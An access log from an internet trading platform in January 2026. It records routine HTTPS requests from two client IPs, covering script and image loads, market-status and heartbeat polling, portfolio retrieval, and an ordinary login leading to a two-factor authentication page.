[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767921707191 HTTP/1.1" 3188
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921709985 HTTP/1.1" -
[09/Jan/2026:09:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1541
[09/Jan/2026:09:17:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921715045 HTTP/1.1" -
[09/Jan/2026:09:17:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921720105 HTTP/1.1" -
[09/Jan/2026:09:17:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921725237 HTTP/1.1" -
[09/Jan/2026:09:17:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921730442 HTTP/1.1" -
[09/Jan/2026:09:17:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921735635 HTTP/1.1" -
[09/Jan/2026:09:17:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:17:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921740787 HTTP/1.1" -
[09/Jan/2026:09:17:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921745893 HTTP/1.1" -
[09/Jan/2026:09:17:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921751107 HTTP/1.1" -
[09/Jan/2026:09:18:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921756294 HTTP/1.1" -
[09/Jan/2026:09:18:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921761407 HTTP/1.1" -
[09/Jan/2026:09:18:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921766550 HTTP/1.1" -
[09/Jan/2026:09:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:18:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:18:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:18:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921771677 HTTP/1.1" -
[09/Jan/2026:09:18:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921776708 HTTP/1.1" -
[09/Jan/2026:09:18:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921781845 HTTP/1.1" -
[09/Jan/2026:09:18:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921787009 HTTP/1.1" -
[09/Jan/2026:09:18:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921792135 HTTP/1.1" -
[09/Jan/2026:09:18:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921797285 HTTP/1.1" -
[09/Jan/2026:09:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:18:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:18:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:18:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:18:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:18:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 450
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/2FA_authentication.html?language=sc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161913 HTTP/1.1" 1953
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161913 HTTP/1.1" 33
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
